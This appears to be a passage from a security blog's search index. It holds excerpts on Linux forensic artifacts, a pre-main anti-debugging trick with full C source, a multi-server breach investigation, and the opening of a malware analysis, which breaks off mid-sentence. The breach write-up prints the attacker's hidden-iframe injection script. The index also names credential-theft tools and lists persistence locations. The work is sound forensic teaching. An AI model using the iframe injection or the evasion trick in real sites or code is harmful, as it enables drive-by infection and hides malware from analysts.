183 "excerpt":"OverView Linux is a big target as almost every server is running some sort of Linux, In this blog post I will try to cover details as possible but also I will expect the reader to have some knowledge of using Linux, I will start with simple topics and move towards advanced ones. Some of the content in this post is copied from the references as they described it in the best way. Linux Directory Layout I canât speak about linux forensics with out mentioning the directory layout for it, So if you are comfortable with it pass this section. There is no stander specification forced to follow for every folder and what should be stored there so every distripution document itâs file structure in hier man page, but always top directories remain the same. /boot/ and efi These directories contains files related to boot process configurations like kernel parameters and previous linux kernels and initial ramfs, more details comes later. /etc/ System wide configurations are stored here and most of them are stored in plaintext format, looking at modification and creation timestamp here is good in any forensics investigation, more details comes later. /srv/ this folder contains servers data like FTP, HTTP⦠/tmp/ This folder stores temporary data and based on the distripution configuration it may be deleted periodically or on boot. /run/ On a running system, this directory contains runtime information like PID and lock files, systemd runtime configuration, and more. In a forensic image it will likly be empty. /home/ and /root/ This is home folder for any user in the system and the root user folder also. /bin/, /sbin/, /usr/bin/, and /usr/sbin/ These are the folders storing executables in the system, In general half of them is just a symlink for the other â/bin/ -> /usr/binâ and â/sbin/ -> /usr/sbin/â /lib/ and /usr/lib/ these directory contains libraries needed by applications to run. /usr/ The /usr/ directory contains the bulk of the systemâs static read-only data. This includes binaries, libraries, documentation, and more. /var/ The /var/ directory contains system data that is changing (variable) and usually persistent across reboots. The subdirectories below /var/ are especially interesting from a forensics perspective because they contain logs, c
183ache, historical data, persistent temporary files, the mail and printing subsystems, and much more. /dev/, /sys/, and /proc/ These directories provide representations of devices or kernel data structures but the contents donât actually exist on a normal filesystem. When examining a forensic image, these directories will likely be empty. /media/ The /media/ directory is intended to hold dynamically created mount points for mounting external removable storage, such as CDROMs or USB drives. When examining a forensic image, this directory will likely be empty. References to /media/ in logs, filesystem metadata, or other persistent data may provide information about user attached (mounted) external storage devices. /opt/ The /opt/ directory contains add-on packages, which typically are grouped by vendor name or package name. These packages may create a self-contained directory tree to organize their own files (for example, bin/, etc/, and other common subdirectories). /lost+found/ A /lost+found/ directory may exist on the root of every filesystem. If a filesystem repair is run (using the fsck command) and a file is found without a parent directory, that file (sometimes called an orphan) is placed in the /lost+found/ directory where it can be recovered. Such files donât have their original names because the directory that contained the filename is unknown or missing. the â.â files Applications saves Itâs cashed and history and whatever the developer decided to store in hidden files or directories in the system, these hidden contents start with â.â, there is no specifications for forcing the developer to store it in a specific place. Here is some examples on my own system. here we can see history of âbash, python, php, gdb, vim, less, wgetâ and there is others also. Looking at one of them like âpython_historyâ we can see alist of all the executed commands in python shell. as you can see you can find that I was doing some binary exploitation work and that is right you managed to get evidence of user activity, and you can construct more by looking in these files, but that is confidential for me but you got the point. another intersting hidden folder is â.sshâ folder where you can look for hashed names on âknown_hostsâ, you canât unhash them but you can find the deviations by hashing the known ones and comparing. although there is no standerd place to store this kind of files, there is a specification for best practice recommended,The specification defines environment variables and default locations that operating systems and applications may use instead of creating their own proprietary files and directories in the userâs home directory. These location environment variables and associated default locations are: Data files: $XDG_DATA_HOME or default ~/.local/share/* Configuration files: $XDG_CONFIG_HOME or default ~/.config/* Non-essential cache data: $XDG_CACHE_HOME or default ~/.cache Runtime files: $XDG_RUNTIME_DIR or typically /run/user/UID (where UID is the numeric ID of the user) These Data, Configuration and Cache ddirectories will contain amount of usful information for forensics investigation. one small example of data that can be found there is in â~/.local/share/â is *.xbel file which contains recently used files, Trash which is like a recycle bin, alot of evidence resides there so make sure to take time reviewing it, I will not mention every one of them as they are self explanatory when you look at theire names or content like configurations and logs for non standerd applications. Crashes & Dumps Crash Dumps can provide a significant amount of evidence in forensics investigation as it saves the content of the memory in the time of a crash that can give us alot of information if a process was under attack or some one was trying to exploit it, we can get a list of crashes and theire time stamp using the followig command. coredumpctl As you can see here I was trying to exploit a a stack overflow in a binary in the machine and that gets recorded, although some times like in the picture the Dump it self maybe missing. where logs and crash files is saved is different from distripution to another so You need to conduct a small searh of where this files resides in your distripution. Linux Logs /var/log/ is not the only place where logs are stored but definetly itâs the most important one, the logs file stored there varies between different distriputions but here some geberal ones. auth.log or /var/log/secure: Logs related to authentication and security, including login attempts, authentication failures, and security-related events. syslog or /var/log/messages: General system logs that capture a wide range of system events, including kernel messages and system daemon messages. kern.log: Kernel-specific logs that contain messages related to the Linux kernel. dmesg: Kernel boot messages and hardware-related messages. boot.log: Logs related to the system boot process. cron: Logs for the cron scheduling daemon, which records scheduled job executions. mail.log or /var/log/maillog: Logs for mail-related services, such as Sendmail or Postfix. httpd/ or /var/log/apache2/: Logs for the Apache web server. nginx/: Logs for the Nginx web server. mysql/ or /var/log/mariadb/: Logs for the MySQL or MariaDB database server. audit/: Audit logs that record security events and access control-related information. auth.log: SSH login logs. wtmp and btmp: Logs that track login and logout events. wtmp records successful logins, while btmp records failed login attempts. lastlog: Records the last login information for each user. ufw.log: Logs for the Uncomplicated Firewall (UFW) on Ubuntu systems. secure: Additional security-related logs, often found on CentOS and Red Hat-based systems. auth.log: Authentication logs on Debian and Ubuntu systems. alternatives.log: Logs related to the alternatives system, which manages symbolic links for system commands and libraries. Logs in Linux have the following severities. 0 emergency (emerg or panic): system is unus
183able 1 alert (alert): action must be taken immediately 2 critical (crit): critical conditions 3 error (err): error conditions 4 warning (warn): warning conditions 5 notice (notice): normal but significant condition 6 informational (info): informational messages 7 debug (debug): debug-level messages you can find rsyslog configuration in /etc/rsyslog.conf /etc/rsyslog.d/*.conf where you can see in the first one where the logs are stored localy the â@â means stored in another place over network. Programs can generate messages with any facility and severity they want. Syslog messages sent over a network are stateless, unencrypted, and based on UDP, which means they can be spoofed or modified in transit. Syslog does not detect or manage dropped packets. If too many messages are sent or the network is unstable, some messages maygo missing, and logs can be incomplete. Text-based logfiles can be maliciously manipulated or deleted. These are all problems with the legacy syslog way, so another entire log system is built to overcome this proclems which is Systemd Journal. the Journal system is well documented in man page systemd-journald. you can view a .journal file content using âjournalctl âfile filenameâ (Customized search and regular expression stuff can be done to enhance your search) There is also non stander logs that applications and servers can create its own log files to store itâs logs, these also can provide a huge amount of foresically important data that depends on the nature of the case. A note to add here at the end that you can add custome log role to log on your system using auditd service. To add a custom rule to log specific events in Ubuntuâs logging system, you can use the Audit framework (Auditd). Auditd allows you to define rules that specify which system events you want to monitor and log. Hereâs a general process for adding a rule: Edit Audit Rules Configuration: Open the audit rules configuration file for editing using a text editor like ânanoâ or âvim.â This file is typically located at â/etc/audit/rules.d/audit.rulesâ: sudo nano /etc/audit/rules.d/audit.rules If the file doesnât exist, you can create it. Add a Custom Rule: In the audit rules file, you can define custom audit rules to specify what events to log. The rules follow a specific format. For example, to log all file reads
183in the â/etc/â directory, you can add the following rule: -a always,exit -F dir=/etc/ -F perm=r -k etc_read -a always,exit: This part of the rule specifies that the event should be logged when it exits (e.g., when a process finishes reading a file). -F dir=/etc/: This part specifies the directory to monitor (â/etc/â). -F perm=r: This part specifies the permission (ârâ for read) to monitor. -k etc_read: This part specifies a unique key for the rule. You can customize the rule according to your needs, specifying the events, directories, permissions, and keys that match your requirements. Save and Close the File: Save your changes in the editor and exit. Reload Audit Rules: After adding or modifying audit rules, you need to reload the audit configuration to apply the changes: sudo service auditd reload This will activate the new audit rule. View Audit Logs: The audit logs are typically stored in /var/log/audit/audit.log. You can view the logs using a tool like aureport or ausearch, or simply by examining the log file itself. For example, to view all events related to the âetc_readâ key defined in the example rule: ausearch -k etc_read This command will display all events matching the specified key. Remember that monitoring too many events or setting overly broad rules can generate a large volume of logs. Be specific with your rules to capture the events that are relevant to your monitoring needs while avoiding excessive noise. Additionally, regularly review and manage your audit logs to ensure they do not consume excessive disk space. Software Installation The initial state of the distripution after installation can be found in /var/log/installer here you can see different logs about installed drivers and packeges and alot of others. Letâs start discussing *.deb files which are package installers this is actually a compressed file containing three components debian-binary A file containing the package format version string control A compressed archive with scripts/metadata about the package data A compressed archive containing the files to be installed From a forensics perspective, we can ask many questions related to package management, such as the following: What packages are currently installed, and which versions? Who installed them, when, and how? Which packages were upgraded and when? Which packages were removed and when? Which repositories were used? Can we confirm the integrity of the packages? What logs, databases, and cached data can be analyzed? Given a particular file on the filesystem, to which package does it belong? What other timestamps are relevant? We will focus on one package manager apt but the concept remains the same for all of them. we can get a list of installed packages in /var/lib/dpkg/status file here are some files to look for artifacts in: /var/log/dpkg.log dpkg activity, including changes to package status (install, remove, upgrade, and so on) /var/log/apt/history.log Start/end times of apt commands and which user ran them /var/log/apt/term.log Start/end times of apt command output (stdout) /var/log/apt/eipp.log.* Logs the current state of the External Installation Planner Protocol (EIPP), a system that manages dependency ordering /var/log/aptitude Aptitude actions that were run /var/log/unattended-upgrades/* Logs from automated/unattended upgrades /etc/dpkg/ Configuration information for dpkg is stored here /etc/apt/ Configuration information for apt and the sources.list and sources.list.d/* files. These files are interesting because they define the configured external repositories for a particular release is stored here /var/lib/dpkg/info/ directory contains several files for each installed package (this is the metadata from the DEB files). This information includes the file list (*.list), cryptographic hashes (*.md5sums), preinstall/postinstall and remove scripts, and more. /var/cache/apt/archives/ directory contains *.deb files that have been downloaded in the past. /var/cache/debconf/ directory is a central location for package configuration information and templates. /var/lib/snapd/snaps/ Contains downloaded snaps ~/.local/lib/python/ site-packages and ~/usr/lib/python/ site-packages are where pip installed packeges saved. Login & User Interaction Forensics /var/log/wtmp History of successful logins and logouts(can be parsed using âlast -f filenameâ) /var/log/btmp History of failed login attempts(can be parsed using âlastb -f filenameâ) /var/log/lastlog Most recent user logins /var/run/utmp Current users logged in (only on running systems) An Interesting place to look at a forensics investigation is initialization scripts /etc/profile /etc/profile.d/* ~/.bash_profile /etc/bash.bashrc ~/.bashrc the profile file runs once at the first shell and â*rcâ files runs every time you open a shell. /etc/bash.bash_logout ~/.bash_logout these files also run one on exit and logout. Environment variables are also a good place to look where you can find more about the userâs default editor which may tell you where to look for more evidence and customized environment variables which can give you good hints. here are some places to look at defult environment variables at login. /etc/security/pam_env.conf /etc/environment /etc/environment.d/*.conf /usr/lib/environment.d/*.conf ~/.config/environment.d/*.conf you can look at âHIST*â environment variables where the shell history is configured that will tell you about where the shell history stored and how itâs configured. Another note here is that command history of a shell is written only after the shell exits. Also, note that the newly written bash history dropped to the disk is written to a new inode and the old one is still there in the disk unallocated so you can find old bash history files using carving. Windows manegers also have some startup â*.desktopâ files have the applications to start at startup. /etc/xdg/autostart/* ~/.config/autostart/* For the Desktop setting, there is a database called dconf which is much like the Windows registry where the data is stored in hierarchy key-value pairs, I will give a look to âGNOMEâ desktop manager. here you can find a tool to parse this database content. the âdconfâ files can be found in â~/.config/dconf/â and â/etc/dconf/db/â as example you can look at âuserâ database where user setting can be found. There is alot of Clipboard manegers out there that stores from 5-20 history copied data but as there is alot out there you will need to search for where your maneger stores this data. Recent Documents and favourites in linux are kept track of for every user in linux in different places like⦠.local/share/recently-used.xbel .local/user-places.xbel .local/share/Recent Documents/ Search history also is kept track of for every user each desktop manger has itâs own way, for example in GNOME search is saved to â~/.cache/tracker3/filesâ as sqlite databases. Cheat sheet here are some good places to look for persistence /etc/cron*/ /etc/incron.d/* /etc/init.d/* /etc/rc.d/ /etc/systemd/system/* /etc/update.d/* /var/spool/cron/* /var/spool/incron/* /var/run/motd.d/* /etc/passwd /etc/sudoers ~/.ssh/authorized_keys ~/.bashrc You can get a list of places where you can find forensic evidence in this cheat sheet Resources https://nostarch.com/practical-linux-forensics is my primery resource. https://www.kernel.org/doc/html/latest/ ","categories": ["Forensic investigation"], 184 "tags": [], 185 "url": "/forensic%20investigation/Linux_Forensics/", 186 "teaser": "/assets/images/forensic-investigation/Linux_forensics/hier.png" 187 },{ 188 "title": "initterm code hiding trick",
189 "excerpt":"OverView Probably we all know about TLS Callbacks which run early in the process before the main application code starts where a malware developer can put code there to check or do something to hide itself. Here is another trick to do the same thing. Analysis I wrote a small POC for this trick that will check for a debugger and if no debugger is caught it will launch a âcalculatorâ to prove the code execution flow control. here is what we get with no debuggers attached. and here we can see that the main is not called yet but the debugger got caught. So letâs look at what happened in the debugger before going into source code. have a close look at this pseudo code. here is the normal code that you will see in the environment setup before a call to main in C++ language, but in there there is an interesting call to a function called _initterm. According to âMSDNâ this is a function that takes two parameters and is described as the following⦠Internal methods that walk a table of function pointers and initialize them. The first pointer is the starting location in the table and the second pointer is the ending location. So If we can put a function pointer to one of our functions that will be a pre-main execution. One way I found to do that is through dynamically assigned global variables which get assigned with a return value of a function, in this case, a pointer to this function will be put in the previously mentioned âinittermâ table. In our case, I have two entries for two functions initializing two global variables. Here is the implementation for one of them which is as easy as a call to âIsDebuggerPresentâ. In real life, this will be hard to get if you donât look at the âinittermâ table yourself as the code will not be as small as itâs here and not as simple as it is here. Source Code #include <windows.h> #include <stdio.h> #include <tchar.h> #include <iostream> char* getname(); char* debugger(); char* check = debugger(); char* name = getname(); void _tmain(int argc, TCHAR* argv[]) { } char* debugger() { bool result = IsDebuggerPresent(); if (result) { printf(\"Debugger Detected \\n\"); return (char*)\"failed\"; } else { printf(\"No debuggers (or at least you passed me) \\n\"); return (char*)\"pass\"; } } char* getname() { STARTUPINFO si; PROCESS_INFORMATION pi; char* val = (char*)\"Spider0x\"; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); wchar_t cmdline[] = L\"calc.exe\"; if (check == \"pass\") { if (!CreateProcess(NULL, // No module name (use command line) cmdline, // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE 0, // No creation flags NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi) // Pointer to PROCESS_INFORMATION structure ) { printf(\"CreateProcess failed (%d).\\n\", GetLastError()); return (char*)\"failed\"; } } printf(\"%s\", val); return val; } Conclusion Always look for weird entries in the âinittermâ table. ","categories": ["Malware Analysis"], 190 "tags": [], 191 "url": "/malware%20analysis/initterm/", 192 "teaser": "/assets/images/malware-analysis/initterm/bad.png" 193 },{ 194 "title": "Breach Investigation", 195 "excerpt":"Scenario The customerâs organization has found out that some of its sensitive data have been detected in an online text-sharing application. Due to legal obligations and for business continuity purposes, the CSIRT team has been tasked to conduct an incident response and incident investigation to mitigate the threats. The breach contains sensitive data and includes a threat notice that in a short while, more data will follow. As the breach leads to a specific employeeâs computer then CSIRT team, tasked to investigate the incident, follows the leads. Initial Evidence Collecting As we have a suspected device we start by taking a memory and disk image of the device. Memory Images can be taken from a portable application like âBelkasoft Live RAM Capturer softw
195areâ or âDumpItâ from an external USB. The Disk Image can be taken using a Write blocker, but as this case is for training the machine is virtualized and we can take the âvmdkâ file as the hard disk. The Evidence needs to be hashed at the time of collecting finishes to ensure integrity. Note: All evidence is attached to the resources. Setup & Validate Evidence âvmdkâ files can be treated as an archive file, which means that you can use â7-zipâ to extract its content. After extraction, we need to verify the hashes that we have with the ones at the time of collection. As you see a hash match you can proceed with the analysis. Memory Analysis Volatility is a great tool no doubt, but I will proceed with another great way which is using MemProcFs which is a tool that mounts the memory as a file system to let you investigate it easily. But there is a tool built on top of âMemProcFsâ which is an automated analysis framework for memory dumps that automates the process of finding anomalies which is MemProcFS-Analyzer. Much forensic valuable information can be out of it. So letâs see what information we got from the analysis I will Ignore what I think are false positives. Yara scan The analyzer has built-in yara rules that it uses but I extended these rules and added some to check for malware from here. UPX packed file â\\Users\\Peter\\AppData\\Roaming\\HostData\\update.exeâ. UPX packed file â\\Users\\Peter\\AppData\\Local\\Temp\\svchost.exeâ. Malware Xtreme-Rat â\\Users\\Peter\\AppData\\Roaming\\HostData\\update.exeâ Powerkatz_DLL_Generic âa Mimikatz version prepared to run in memory via Powershellâ. UPX packed file \\Device\\HarddiskVolume2\\Windows\\explorer.exe. Malware Xtreme-Rat â\\Device\\HarddiskVolume2\\Windows\\explorer.exeâ. Malware Xtreme-Rat â\\Device\\HarddiskVolume2\\Users\\Peter\\AppData\\Local\\Temp\\svchost.exeâ. We got a lot out of this yara scan as we can see two malicious files âupdate & svchostâ packed with UPX and classified as âXtreme-Ratâ, also we can see the âexplorer.exeâ somehow infected with the âxtreme-ratâ code may be due to use of some kind of process injection. we can also notice the use of âPowerkatzâ which is a memory-only version of mimikatz. Another Interesting output that resulted from running the analyzer is the timelines. As we know what processes are considered malicious we can find the potential initial access way by tracing where they first exist on the system, for that I will look at the NTFS timeline. By tracing the first creation of them I found the malicious âsvchostâ that runs from the âtempâ directory created and executed first based on the prefetch file creation in the NTFS timeline. also, another thing that can be noticed the first one is the creation of a strange name executable â3568226350[1].exeâ Also a large number of entries written to Firefox cache2 at the same time which may indicate that the browser is used as initial attack vector using an exploit kit âAs normal user canât open this much pages at this little timeâ. This makes us need to analyze Firefox closely. we can still do a lot by extracting registry, logs, and different artifact places out of memory but as we already have a full disk image of the machine I will go with it. Disk Analysis I am using âFTKImagerâ to analyze the disk image, I am Extracting any file I need to do more analysis for out it using the export feature in it. AntiVirus Scan A good start is to run an anti-virus on the whole partition, âClamAVâ AntiVirus is a nice executable to use that can take some time so I started by scanning the âFirefoxâ folders. As expected one of the entries we saw before was detected as a part of the exploitkit for âCVE_2012_3993â. Application Analysis As we have a good base that the infection happened through browser exploitation as the malware dropped at the system around the time of the cached page exploiting âCVE-2012-3993â, we need to start investigating the browserâs logs to get what happened. our target browser for analysis is Firefox, the Firefox profile is located at âC:\\Users<name>\\AppData\\Roaming\\Mozilla\\Firefoxâ, while cache files can be found at âC:\\Users<name>\\AppData\\Local\\Mozilla\\Firefoxâ. At the start we can find a crash report around the time of the infection, this crash happened at the âShockwave pluginâ. We can look at the history of the browser which is âplaces.sqliteâ inside the userâs profile, we can view it using âBrowsingHistoryViewâ tool. we can see two sites visited around the time of infection the most suspectable one is âblog.mycompany.exâ, we can then view the content returned from visiting this site in the cached data âcache2â using âMZCacheViewâ tool. There is another site got visited exactly at the same time as visiting âmycompanyâ site, and because this site didnât show in the history and there is no delay in visiting this is because the second site was spawned due to some kind of redirection or iframe embedding, also we can notice multiple requests to html file which likely a sign for an exploit kit, also one of them is the file flagged before by our AV as exploit code. So we need to export these files to continue our investigation into what happened. So letâs investigate what redirected us to âmysportclupâ site in âmycompanyâ site. we can notice in the front code a script that embeds a hidden iframe into the page, so letâs take a look at the content of the iframe php file. we can see multiple iframes for different HTML files, we are not going to analyze the exploit code but we can search for files with â.exeâ extensions to see what we get. this is enough for us to prove that the malware dropped to the device using browser exploitation. Post Exploitation By looking At prefetch files creations in the NTFS timeline we can construct a t
195imeline of the executed applications in the system. here we can see enumeration tools running, but what caught my eye is the timing between executing them which indicates that these tools are running in a scripted way. also, I noticed the creation of a file in the temp directory that seems to be collecting the output of these enumeration tools. By going to this path I found many logs of running different tools, which indicates that the attacker has the password of the user âPeterâ and general information about the system and NMAP results for scanning hosts in the around network. Another thing that I noticed is the use of âpscp.exeâ which is a putty tool that may indicate a connection between the device and another one. By using the âPEcmdâ prefetch analysis tool I found where the âpscp.exeâ executed from and I found that this directory contains all the hacking tools downloaded. also, I can see a strange file dropped to the âtempâ directory and then executed. So I decided to analyze it as we donât know what it has done for the system. Unknown Malware Analysis Starting by running a simple check for file type and strings revealed that the executable is a compiled Python script. So we can extract it using tools like âunpy2exe.pyâ and then decompile extracted âpycâ file using âuncompyle6â By looking at the code we can find that itâs started by downloading the hacking tools we saw before and setting up directories and environment variables in the system then executing âMimikatzâ and âBrowserPasswordDumpâ tools, whatâs interesting here is that there is a log saved with the results of the run in a folder called âSystemProfile, I think that is because it needs to be sent back to the C2. by looking there we can find several other files that collect data before sending them to the attacker. In âmimikatzâ logs we can see that the attacker managed to get the userâs NTLM hashes which may be cracked for getting his password. more interesting is that the attacker managed to get some passwords out of the browser, and the user seems to be using the same password for all his accounts. Also, the attacker scanned other devices in the network to get open ports. Now I have a timeline of what happened to with the machine from the attacker starting from the exploitation of the browser to the use of âpscp.exeâ. Network Analysis Now Itâs time to Investigate the network traffic after knowing what exactly happened to the compromised machine to get what is the scale of the attack and was the attacker able to move into other machines on the network. The network logs are saved on another hard drive so we need to attach it to our forensic workstation. I started by looking at which hosts resolved the Exploit site âblog.mysportclup.exâ, and the infected host that we investigated is the only one that resolved it according to DNS logs. we also have âNetFlowâ collected, the NetFlow collection is a collection of the headers for the packets in the network without the actual data, this helps with the problem of the size needed if we want to store all the packets. We got a netflow of the day of the compromise divided into several files each one is 5 minutes period. As we know the compromised machine had an IP of â192.168.5.100â, so letâs see what is the statistics of that ip in the netflow. we can see four protocols mentioned used in the packets of the day, but nothing suspicious there, letâs investigate ICMP traffic. As we can see there is an ICMP echo request to nonexistent â192.168.56.(1&10)â. Now letâs see what the most UDP traffic is about. we can see DNS traffic is the most used. Now the same for TCP traffic. we can see a huge amount of packets on port â12345â so letâs see what is happening there. we can see that this traffic is sent to the c2 that we discovered before â36.98.102.89â. we canât get the actual data sent as we mentioned before because Netflow doesnât record
195it. Letâs now investigate if this machine is used for lateral movement inside the network. As we can see a lot of traffic happening out of the compromised machine to the network devices there, and by looking at what kind of activity based on the destination port it tries to connect to we can see the following. this is an obvious port scan against random ports with a payload of about two bytes, letâs now see what ports have more packets that indecate more interact with it. we can see a large amount of SSH traffic to â192.168.5.10â which will require us to take this device down for investigation. Compromised DHCP Server Analysis The device that has the IP â192.168.5.10â is the DHCP server so letâs investigate a forensic image of it. A tool called âLiveIRâ is used to collect some important forensic artifacts letâs see what we got from it. general information hostname : dhcpsrv kernel : 4.2.0-27-generic network_card_1 : eth0 Link encap:Ethernet HWaddr 02:4a:4b:b7:e6:bd inet addr:192.168.5.10 Bcast:192.168.5.255 Mask:255.255.255.0 inet6 addr: fe80::4a:4bff:feb7:e6bd/64 Scope:Link network_card_2 : lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host os_informations : Linux version 4.2.0-27-generic (buildd@lcy01-23) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 First I started looking at authentication logs, and I found that the server was compromised via a brute forcing attack on the âSSHâ service. then a root elevation via âsuâ failed. then after some time some kind of privilege escalation happened, a session opened for root, a new user has been created and added to the ârootâ group and Peter can âsuâ to it, take a look at the elevation of privileges that happens from a cron job, I investigated the cron job and found that the is an hourly cron job executes at the minute â17â every hour. which is the same time for escalation in Auth logs. This indicates that there is a vulnerability affecting âchkrootkitâ utility used to escalate privileges. note: an elevation for root is happening by user John but that seems normal as this is happening before the attack time, that may be administration stuff. Another log file to look for is kernel logs that will give you info if the attacker tries to use a nonstable exploit or missing with system stuff and crashes something, here are segfaults that happened from the âlibsecurity.soâ library. now I looked at Peter â.bash_historyâ file and I managed to know that the attacker downloaded additional tools to the server. And for the root user, we can see how the companyâs data gets exfiltrated. By tracing the downloaded âbinaries-only.zipâ I found it in the âtmpâ directory and I found the following script. As obvious this code replaces the âlibsecurity.so, sshd, sshâ files with probably malicious ones and modefing âld.so.preloadâ to load the malicious âlibsecurity.soâ to all loaded processes. Now our timeline for the attack on this server is actually supporting all that we said. Note: These malicious files need to be analyzed to get what are they doing to the system, but as this will make this investigation much longer because the malware analysis phase takes too much on its own I won't cover it here. But one of the most interesting findings here is that the companyâs data got exfilterated using ftp to âcoloserver1337.myhosting.exâ server. Web Servers Investigation mycompany Server Remember the initial access when we found that the user visited âblog.mycompany.exâ and got redirected to âblog.mysportclub.exâ which was holding the exploit kit that resulted in the machine getting compromised. Know Itâs time to investigate how this server got compromised to behave like this. The server is hosted in some server hosting service and we got an âovaâ file of the virtual machine, I extracted the âlvmâ disk out of it and started my investigation using âFTKImagerâ. Looking around the file system revealed that the server is using âWordPressâ on an âapacheâ server. the first thing to look at here is the time difference between all the artifacts, so I looked at â/etc/timezoneâ and found that the time zone of the server is âEurope/Amsterdamâ which is âUTC+2â so there are two hours between them. I then looked at the âaccess.logâ of the Apache server to find any signs of attacks by searching for different payloads used in attacks like âSQL injection XSS â or any other one, but I found a huge number of post requests to â/wp-login.phpâ which indicate a login brute force and the user agent indicate that the âWPScanâ tool is used for that. Something to note here is that the scan is originating from IP â10.0.0.5â which is an internal IP address that indicates that the machine at this address needs to be investigated. in the end, there is one returned different c
195ontent length which indicates success. and also obvious that the user logged in has the privilege to view the admin page. I extracted the URIs only to filter the noise using the command cat access.log | awk '{print $7}' | grep -v \"login\" > uri.txt then looked carefully at them to know what else the attacker accessed, and I found this one. where the attacker used a theme editor to edit the content of the footer, so letâs investigate the footer.php code. <script> if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write(\"<iframe src='http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/index.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>\"); } function iframer(){ var f = document.createElement('iframe'); f.setAttribute('src', 'http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/index.php'); f.style.visibility = 'hidden'; f.style.position = 'absolute'; f.style.left = '0'; f.style.top = '0'; f.setAttribute('width', '10'); f.setAttribute('height', '10'); document.getElementsByTagName('body')[0].appendChild(f); } </script> We can find this Iframe embedded at the end of the footer, which is responsible for redirecting us to the site âblog.mysportclub.exâ which hosts the exploit kit. Investigating more in the machine I found nothing suspicious outside the context of the website content and the auth logs have no signs of any suspicious logins which indicates that the attacker hasnât gained more privileges in the server. mysportclub server This web server is also a WordPress over Apache, By looking at âaccess.logâ I spotted some interesting stuff happening, After a scan using âWPScanâ there is a post request using âcurlâ to an endpoint in the âwork-the-flow-file-uploadâ plugin then there is access to the famous âc99.phpâ web shell which may be uploaded using a vulnerability in âwork-the-flow-file-uploadâ plugin. We found before that âmycompany.exâ web server injected with an IFrame that will redirect to the URI â/wp-content/uploads/hk/task/opspy/index.phpâ in this server, and exploring this path we can find the actual content served as an exploit kit. coloserver1337.myhosting.ex Hosting Server Analysis The hosting server agreed to give us a memory and disk image of the hosted server that our data got exfiltrated to, to help us trace the attackers. Letâs start with the memory to what it looks like, we should get the profile of the Linux image to be able to parse it using volatility and that needs little work not just running âimageinfoâ plugin as in Windows. first I ran the following command to get the Linux distro, the kernel version, and the architecture. strings coloserver1337.myhosting.ex.mem | grep -i 'Linux version' | uniq So here is a link to a pre-built profile, then put it in the path â/volatility/plugins/overlays/linuxâ inside the volatility directory. you can find instructions to import it here. Starting with âlinux_getcwdâ which gets the directory where an application is running from reveals a process with a suspicious name running from a suspicious place âhidden folder inside the tmp directoryâ bash history also shows an installation for this as root. By looking at the disk I found that this is a rootkit that has a user and kernel module. I started to look at logs to Identify the initial access point and followed along from there, then I found a lot of âfailed passwordâ in SSH login for root after that a successful one which indicates a successful brute force attack on the user root over SSH. then new users created âdumpâ and âproftpâ to manage the FTP server. As we know that our data got exfiltrated to this server I looked at the FTP server logs and found that there is two connection established from our server IP. And we can also find the data stolen. Summery mysportclub.ex server got compromised using a file upload vulnerability and an exploit kit hosted there. mycompany.ex server admin pannel was accessed via bruteforce attack and an IFrame to âmysportclub.exâ embedded on it. A user inside the company accessed âmycompany.exâ server and got compromised by the exploit kit. Xtreme-Rat malware infected the device. Enumeration and scanning to the network happened through the compromised machine. Internal DHCP server got compromised via SSH brute force. root access was gained using a âchkrootkitâ exploit. data exfiltrated from the machine to the DHCP server. data exfiltrated from the DHCP server to some online hosted server as outbound traffic was allowed on the server. All the timeline with times included can be found in this sheet. This timeline is exclusive to what happened to the companyâs properties, not the hosting company. Resources First E
195xploited machine Compromised DHCP server and network traffic mycompany.ex server mysportclub.ex server myhosting.ex server disk myhosting.ex server memory ","categories": ["Forensic investigation"], 196 "tags": [], 197 "url": "/forensic%20investigation/Breach_Investigation/", 198 "teaser": "/assets/images/forensic-investigation/Breach_Investigation/scope.png" 199 },{ 200 "title": "CrowdStrike abuse campaign", 201 "excerpt":"OverView Everyone knows about the global outage on Windows Systems that happened because of the failure on one of CrowdStrike kernel modules, and we all expected attackers to misuser this for their benefit. The Delivery of this malware that we are going to discuss here depends on sending an email containing a Compressed file attachment which contains an update instruction that instructs the user to execute an executable file. We can also find that the ZIP file contains multiple files with the executable itself, so letâs get into the starting point the attacker wanted to execute and construct the malware functionality from there. Sample info SHA256: 5ae3838d77c2102766538f783d0a4b4205e7d2cdba4e0ad2ab332dc8ab32fea9 the file has a high entropy in multiple sections which indicates that it may be obfuscated. Interestingly we can find that the file is signed with a valid certificate. Also, we can notice that when uploading the executable to a Sandbox service like âTriageâ, it didnât manage to observe malicious functionality. this could be due to the malware depending on the other files that come with it, or it has an anti-analysis technique that managed to bypass the sandbox defenses. Behavioral And Code Analysis Now, we can try behavioral analysis on our machine after failing to get results behaviorally from Sandbox, we can do that by running the sample and monitoring our environment using tools like, âDirWatch, Sysmon, Procmon, Fakenetâ From there, we can notice some actions, we can notice coping the files with the malware on the downloaded ZIP file to another location in the AppData folder. Also, We can notice spawning child processes like âcmdâ and âexplorer. From Sysmon, we can find interesting functionalities, we can find the malware adds exclusion to its directory from Windows Defender. We can see the creation of an LNK file in the Startup folder for persistence. By looking at the code, we can find that itâs a code for a legitimate backup tool called âiTopâ But when correlating the functionalities we found before in behavioral analysis with the code, we can find that there is an injected code before the normal app functionality starts, even before the âstartâ function. This happens from the loaded modules at link time, which are the files that come with the malware. So, we can understand that the malicious functionality comes from the DLL shipped with the executable, not the executable itself. By observing the provided DLLs, we can find one of them is more interesting which is named âmadbasic_.bplâ, so we can continue with it. When looking at the âflvâ file provided, we can find that it contains what looks like encrypted content as itâs not a valid âflvâ file. At the start, we can find the use of LDR struct to resolve Libraries dynamically. when looking at our process tree after running the malware, we can observe a second âexplorerâ process running as an âx32 bitâ process. So, we can get back to âProcmonâ and set up a filter based on this obvious process injection technique. We can notice the first thing it has done is to load a DLL from the TEMP directory, which will carry the malicious activity from a legitimate explorer process. And we can see a network connection initiated from the malicious explorer process. This IP as we can see is related to 